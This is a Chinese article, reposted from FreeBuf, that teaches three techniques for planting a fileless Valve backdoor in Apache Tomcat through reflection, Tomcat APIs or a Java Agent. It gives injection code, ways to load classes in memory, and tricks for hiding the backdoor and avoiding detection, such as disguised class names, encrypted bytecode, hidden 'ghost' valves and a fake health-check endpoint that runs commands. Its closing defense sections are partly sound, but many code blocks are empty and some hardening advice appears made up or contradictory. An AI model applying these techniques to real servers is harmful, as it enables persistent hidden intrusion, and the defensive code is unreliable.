Java内存马——Tomcat Valve型的三种注入
转载自:https://www.freebuf.com/articles/web/433972.html
核心原理
- **Tomcat Pipeline & Valve:**Tomcat 使用责任链模式处理请求。
Pipeline包含多个Valve,每个Valve负责特定任务(如认证、日志、访问控制)。StandardWrapperValve(通常位于链尾) 最终调用 Servlet。 - **
StandardContext:**代表一个 Web 应用,持有其对应的Pipeline对象 (StandardContext#getPipeline())。 - **目标:**将恶意
Valve注入到目标 Web 应用StandardContext的Pipeline中,通常是插入在StandardContextValve(负责应用级路由) 和StandardWrapperValve(负责调用 Servlet) 之间,或者尽可能靠前(如紧接在AccessLogValve之后)。恶意 Valve 的invoke()方法检查特定请求特征,匹配则执行命令并截断管道(不再调用getNext().invoke()),直接返回响应。
注入方式详解
方式一:纯反射注入(无依赖)
场景:攻击者已通过漏洞(如反序列化、文件上传 Webshell、其他 RCE)获得代码执行能力,但当前执行环境没有 Tomcat 的
catalina.jar等库依赖(例如在Bootstrap ClassLoader或Common ClassLoader加载的类中执行)。这是最通用的方式。步骤:
获取当前线程的
ContextClassLoader(通常是WebappClassLoader):text1ClassLoader webappClassLoader = Thread.currentThread().getContextClassLoader();反射获取
ApplicationContext(关键):- Tomcat 将
ApplicationContext存储在WebappClassLoader的resources属性 (org.apache.catalina.webresources.StandardRoot) 的context属性中。 - 或者通过
ClassLoader的resources属性获取WebResourceRoot,再反射获取其context属性。
text1 2 3 4 5 6 7 8// 通过 WebappClassLoader 获取 resources (StandardRoot) Field resourcesField = webappClassLoader.getClass().getDeclaredField("resources"); resourcesField.setAccessible(true); Object standardRoot = resourcesField.get(webappClassLoader); // 通过 StandardRoot 获取 Context (StandardContext) Field contextField = standardRoot.getClass().getDeclaredField("context"); contextField.setAccessible(true); Object standardContext = contextField.get(standardRoot); // 这就是目标 StandardContext- Tomcat 将
反射获取
Pipeline对象:text1 2Method getPipelineMethod = standardContext.getClass().getMethod("getPipeline"); Object pipeline = getPipelineMethod.invoke(standardContext);反射获取
addValve方法:text1Method addValveMethod = pipeline.getClass().getMethod("addValve", Valve.class);构造恶意 Valve 实例:
- 将恶意 Valve 的字节码(编译后的
.class文件内容)转换为byte[](可通过 Class 文件硬编码、远程加载、解码等方式)。 - 使用当前
WebappClassLoader的defineClass方法(需反射调用)在内存中定义恶意 Valve 类。
text1 2 3 4// 反射调用 protected final defineClass 方法 Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); Class evilValveClass = (Class) defineClassMethod.invoke(webappClassLoader, "com.evil.EvilValve", evilValveBytecode, 0, evilValveBytecode.length);- 实例化恶意 Valve:
text1Valve evilValve = (Valve) evilValveClass.newInstance();- 将恶意 Valve 的字节码(编译后的
将恶意 Valve 注入 Pipeline:
text1addValveMethod.invoke(pipeline, evilValve);- 注入位置控制:Tomcat 的
addValve默认加在末尾。要插入特定位置(如开头),需反射获取Pipeline的valves数组 (StandardPipeline#valves),使用反射修改数组或调用addValve(Valve, int)(如果存在)。
- 注入位置控制:Tomcat 的
**优点:**通用性强,不依赖 Tomcat API JAR。
缺点:
- 代码冗长,大量反射操作。
- 需要处理
defineClass的调用(protected方法)。 - 依赖对 Tomcat 内部结构(
WebappClassLoader.resources.context)的准确了解,不同 Tomcat 版本可能有差异。 - 注入的 Valve 类由
WebappClassLoader加载,在堆内存中可见。
方式二:混合方式(利用 Tomcat API & 反射)
场景:攻击者获得的代码执行环境可以访问到 Tomcat 的内部 API(例如,攻击代码本身是由
WebappClassLoader加载的,或者通过某些方式将catalina.jar加入了类路径)。常见于从已存在的 Filter/Servlet 型内存马或 JSP Webshell 中进行“二次注入”。步骤:
获取
StandardContext(更直接):- 通过
ApplicationContext->ServletContext的属性获取:
text1 2 3 4 5 6 7ServletContext servletContext = request.getServletContext(); // 如果有 request 对象 Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); Object applicationContext = applicationContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); Object standardContext = standardContextField.get(applicationContext);- 或者通过
org.apache.catalina.core.ApplicationDispatcher的WRAP_SAME_OBJECT特性(如果启用)获取lastServicedRequest/lastServicedResponse中的Context(较复杂)。
- 通过
**获取
Pipeline对象:**同方式一。构造恶意 Valve 实例:
- **方式 A (ClassLoader 注入):**同方式一步骤 5,使用
WebappClassLoader.defineClass。 - **方式 B (直接实例化 - 更优):**如果能直接访问到恶意 Valve 的类定义(例如,恶意 Valve 类字节码已通过其他方式加载,或者攻击代码直接包含了这个类),可以直接
new:
text1Valve evilValve = new com.evil.EvilValve(); // 需要 EvilValve 类在当前 ClassLoader 可见- **方式 A (ClassLoader 注入):**同方式一步骤 5,使用
**注入 Valve:**直接调用
StandardPipeline.addValve()方法:text1((StandardPipeline) pipeline).addValve(evilValve);- 同样可以通过反射操作
valves数组控制注入位置。
- 同样可以通过反射操作
优点:
- 代码相对简洁清晰(减少了反射)。
- 效率更高。
缺点:
- 依赖 Tomcat API 环境(需要
org.apache.catalina.*类可见)。 - 如果采用方式 B 构造实例,需要解决如何让
EvilValve类被加载的问题(可能仍需defineClass或依赖其他已加载的恶意类)。
- 依赖 Tomcat API 环境(需要
方式三:Java Agent + ASM/Javassist 字节码注入(终极隐蔽)
场景:攻击者具备更高权限(如上传 Agent JAR 或利用 Attach API 注入 Agent),追求极致的隐蔽性。目标是不创建新的 Valve 类,而是将恶意逻辑直接编织进 Tomcat 核心类(如
StandardPipeline或某个关键 Valve)的字节码中。步骤:
**注入 Agent:**通过
-javaagent启动参数、VirtualMachine.attach()API 或利用已知漏洞加载恶意 Agent Jar。**实现
ClassFileTransformer:**在 Agent 中注册自定义的ClassFileTransformer。**定位并修改目标类:**在
transform()方法中,识别目标类(例如org.apache.catalina.core.StandardPipeline):text1 2 3if ("org.apache.catalina.core.StandardPipeline".equals(className)) { // 使用 ASM 或 Javassist 修改字节码 }修改
addValve或invoke逻辑 (策略):- **策略 A (劫持
invoke):**修改StandardPipeline的invoke()方法。在方法内部遍历valves数组之前或某个关键节点(如调用StandardContextValve.invoke()前),插入恶意逻辑:检查请求特征,匹配则执行命令、构造响应并返回(跳过后续 Valve)。 - **策略 B (伪装成现有 Valve):**修改某个不常用或非关键的现有 Valve 类(如
StandardContextValve或AccessLogValve)的invoke()方法。在其原有逻辑的开头或结尾插入恶意检查逻辑。 - **策略 C (创建“幽灵”Valve):**修改
StandardPipeline的addValve()方法。使其在特定条件下(例如,添加的 Valve 类名匹配某个特殊模式或 hash)不真正添加该 Valve,而是将其保存到一个隐藏的列表中。同时修改invoke()方法,使其在调用官方valves数组前后,也遍历并调用这个隐藏列表中的“幽灵” Valve。这种方式极其隐蔽,因为常规的Pipeline.valves数组中看不到恶意 Valve。
- **策略 A (劫持
**字节码操作:**使用 ASM/Javassist 库插入恶意字节码。恶意逻辑通常包含:
- 从
Request对象获取参数/头/路径。 - 与预设密码比较。
- 调用
Runtime.exec()或ProcessBuilder执行命令。 - 读取执行结果,写入
Response输出流。 - 根据是否匹配密码,决定是否继续调用原始管道逻辑 (
getNext().invoke())。
- 从
优点:
- **终极隐蔽性:**没有新的可疑类 (
EvilValve) 被定义和加载。恶意逻辑“溶解”在 Tomcat 官方核心类中。 - 不依赖
WebappClassLoader,应用重启后只要 Agent 仍在就有效(持久化能力强)。 - 极难通过常规内存 dump 分析发现(需要逐类反编译校验)。
- **终极隐蔽性:**没有新的可疑类 (
缺点:
- 实现难度极高,需要深入理解 JVM 字节码和 Tomcat 内部流程。
- 需要获取 Agent 注入的权限(通常意味着已有较高权限)。
- 不同 Tomcat 版本的核心类字节码差异较大,需要为不同版本定制或做兼容。
- Agent 本身的存在可能被检测(JVM 参数、
VirtualMachine.list())。
纯反射注入
一、核心原理与目标
- 目标:在不引入Tomcat API依赖(
catalina.jar等)的情况下,通过纯反射操作:- 获取当前Web应用的
StandardContext(Tomcat核心容器对象) - 定位其
Pipeline(请求处理管道) - 动态注入恶意
Valve实例到管道中
- 获取当前Web应用的
- 技术挑战:
- 绕过类加载器隔离(从非Web类加载器访问Web层对象)
- 通过反射链破解Tomcat内部数据结构
- 内存中定义恶意Valve类(无磁盘文件)
二、注入流程详解
步骤1:获取WebappClassLoader
| |
- 原理:Tomcat为每个Web应用创建独立的
WebappClassLoader,当前线程的ClassLoader通常就是它。 - 注意:在非请求线程(如反序列化触发的线程)中需遍历线程组定位。
步骤2:反射获取StandardContext
这是最核心的步骤,需穿透两层隐藏引用:
| |
- 关键路径:
WebappClassLoader→resources(StandardRoot) →context(StandardContext)
步骤3:获取Pipeline对象
| |
步骤4:定义恶意Valve类(内存加载)
方案A:硬编码字节码(推荐)
| |
方案B:动态生成字节码(ASM/Javassist)
| |
步骤5:实例化并注入Valve
| |
步骤6(可选):控制注入位置
| |
- 位置策略:插入在
StandardContextValve之前(通常索引1)确保捕获所有请求。
三、恶意Valve类实现模板
| |
四、技术难点与规避方案
ClassLoader穿透问题
场景:在
BootstrapClassLoader中执行(如反序列化漏洞)方案:通过线程上下文类加载器传递
text1Thread.currentThread().setContextClassLoader(webappClassLoader);
Tomcat版本兼容性
StandardRoot路径变化(Tomcat 8.0+):text1 2 3 4// Tomcat 8.5+ 获取StandardContext Object resources = webappClassLoader.getResources(); Method getContextMethod = resources.getClass().getMethod("getContext"); Object standardContext = getContextMethod.invoke(resources);
内存马隐身技巧
- 类名伪装:
com.sun.tools.javac.util.Context(仿JDK类) - 字节码加密:运行时解密后再defineClass
- 惰性加载:首次匹配密码时才初始化命令执行逻辑
- 类名伪装:
五、检测与防御手段
检测方案
Heap Dump分析
text1 2 3SELECT * FROM java.lang.Object WHERE toString() LIKE "%StandardContextValve%" AND dominators() INCLUDES $.valves- 定位
StandardPipeline.valves数组中异常Valve
- 定位
RASP监控点
- 拦截
ClassLoader.defineClass()调用 - 监控
StandardPipeline.addValve()反射调用栈 - 检测非初始化阶段新增的Valve
- 拦截
行为特征检测
- 请求头包含
X-TOKEN等固定标记 - 无关联页面的HTTP请求返回命令输出
- 请求头包含
防御措施
| |
策略限制
- 禁止反射调用
defineClass()(SecurityManager) - 锁定
StandardPipeline.valves数组写权限
- 禁止反射调用
运行时加固
text1-javaagent:rasp_agent.jar=block_unauth_valve
混合方式(利用 Tomcat API & 反射)
一、混合注入的核心优势
- 效率与稳定性的平衡:
- 使用Tomcat API直接调用核心方法,减少反射操作
- 对关键路径使用反射突破访问限制
- 比纯反射方式更稳定,减少版本兼容问题
- 降低检测风险:
- 减少反射调用次数,避免触发RASP的反射监控
- 直接API调用混入正常业务逻辑中更隐蔽
- 开发便利性:
- 代码可读性更高
- 调试和维护更简单
二、混合注入详细流程
前置条件
- 已获得执行环境(如通过JSP WebShell或反序列化漏洞)
- Tomcat API库(catalina.jar)在类路径中可用
- 当前ClassLoader是WebappClassLoader
| |
步骤1:获取StandardContext对象(混合方式)
方法A:通过ServletContext(推荐)
| |
方法B:通过ClassLoader(无request时)
| |
步骤2:获取Pipeline对象(直接API)
| |
步骤3:创建恶意Valve实例
方法A:动态类定义(无文件落地)
| |
方法B:字节码注入(ASM增强)
| |
步骤4:注入Valve到管道(API+反射)
| |
三、高级隐蔽技术
1. Valve伪装技术
| |
2. 自保护机制
| |
3. 上下文感知触发
| |
四、检测与防御方案
检测技术
运行时管道分析
java1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17public void monitorValves() { StandardContext ctx = getCurrentContext(); Pipeline pipeline = ctx.getPipeline(); Valve[] valves = pipeline.getValves(); for (Valve valve : valves) { // 检测未签名的Valve if (!isSigned(valve.getClass())) { alertSuspiciousValve(valve); } // 检测类加载来源 if (valve.getClass().getClassLoader() != ctx.getLoader().getClassLoader()) { alertForeignClassLoader(valve); } } }字节码校验技术
text1 2# 使用jvmti代理进行类校验 java -agentpath:valve_checker.so=org.apache.catalina.core.StandardPipeline ...
防御策略
Tomcat配置加固
xml1 2 3 4 5<!-- context.xml --> <Context> <Valve className="org.apache.catalina.valves.ValveSecurityFilter" allowedValves="org.apache.catalina.valves.*" /> </Context>运行时保护机制
java1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19public class ValveProtectionAgent { public static void premain(String args, Instrumentation inst) { inst.addTransformer((loader, className, classBeingRedefined, protectionDomain, classfileBuffer) -> { if ("org/apache/catalina/core/StandardPipeline".equals(className)) { return patchPipelineClass(classfileBuffer); } return null; }); } private static byte[] patchPipelineClass(byte[] original) { // 使用ASM添加管道修改检查 ClassReader cr = new ClassReader(original); ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES); cr.accept(new PipelineCheckAdapter(cw), 0); return cw.toByteArray(); } }权限最小化
text1 2 3# 启动脚本添加JVM参数 -Djava.security.manager \ -Djava.security.policy=tomcat.policytomcat.policy内容:
text1 2 3 4 5grant codeBase "file:${catalina.home}/webapps/yourapp/-" { // 禁止Valve修改权限 permission java.lang.reflect.ReflectPermission "suppressAccessChecks"; permission java.lang.RuntimePermission "accessClassInPackage.org.apache.catalina.core"; };
五、混合注入的演进趋势
模块化加载
java1 2 3 4 5 6 7 8 9 10public void invoke(Request request, Response response) { if (isTriggerRequest(request)) { // 动态加载加密模块 byte[] encryptedModule = fetchModule(request.getParameter("m")); Object module = loadModule(encryptedModule); executeModule(module, request, response); return; } getNext().invoke(request, response); }云环境适配
java1 2 3 4 5 6// 检测云环境并调整行为 if (isRunningInCloud()) { activateCloudBackdoor(); } else { activateTraditionalBackdoor(); }API网关集成
java1 2 3 4 5 6 7 8 9 10// 伪装成合法的健康检查端点 if ("/health".equals(request.getRequestURI())) { String action = request.getParameter("action"); if ("exec".equals(action)) { executeCommand(request.getParameter("cmd")); } else { sendHealthStatus(response); // 返回正常状态 } return; }
总结
Tomcat Valve型内存马的混合注入方式代表了当前高级威胁的典型手法:
- API与反射的精准结合- 在保持隐蔽性的同时提高可靠性
- 上下文感知的攻击逻辑- 基于环境动态调整行为
- 多层防御规避- 从类加载到管道操作全面伪装
Agent + ASM/Javassist 字节码注入
一、攻击流程详解
阶段1:Agent注入(JVM渗透)
| |
阶段2:Agent核心逻辑
| |
二、字节码修改技术(ASM核心实现)
1. StandardPipeline类修改
| |
2. 嵌入式恶意逻辑类
| |
三、隐蔽性增强技术
1. 幽灵Valve技术
| |
2. 动态代码解密
| |
3. 环境感知伪装
| |
四、检测防御策略
1. 类完整性验证
| |
2. 运行时行为监控
| |
3. JVM层防护
| |
tomcat.policy示例:
| |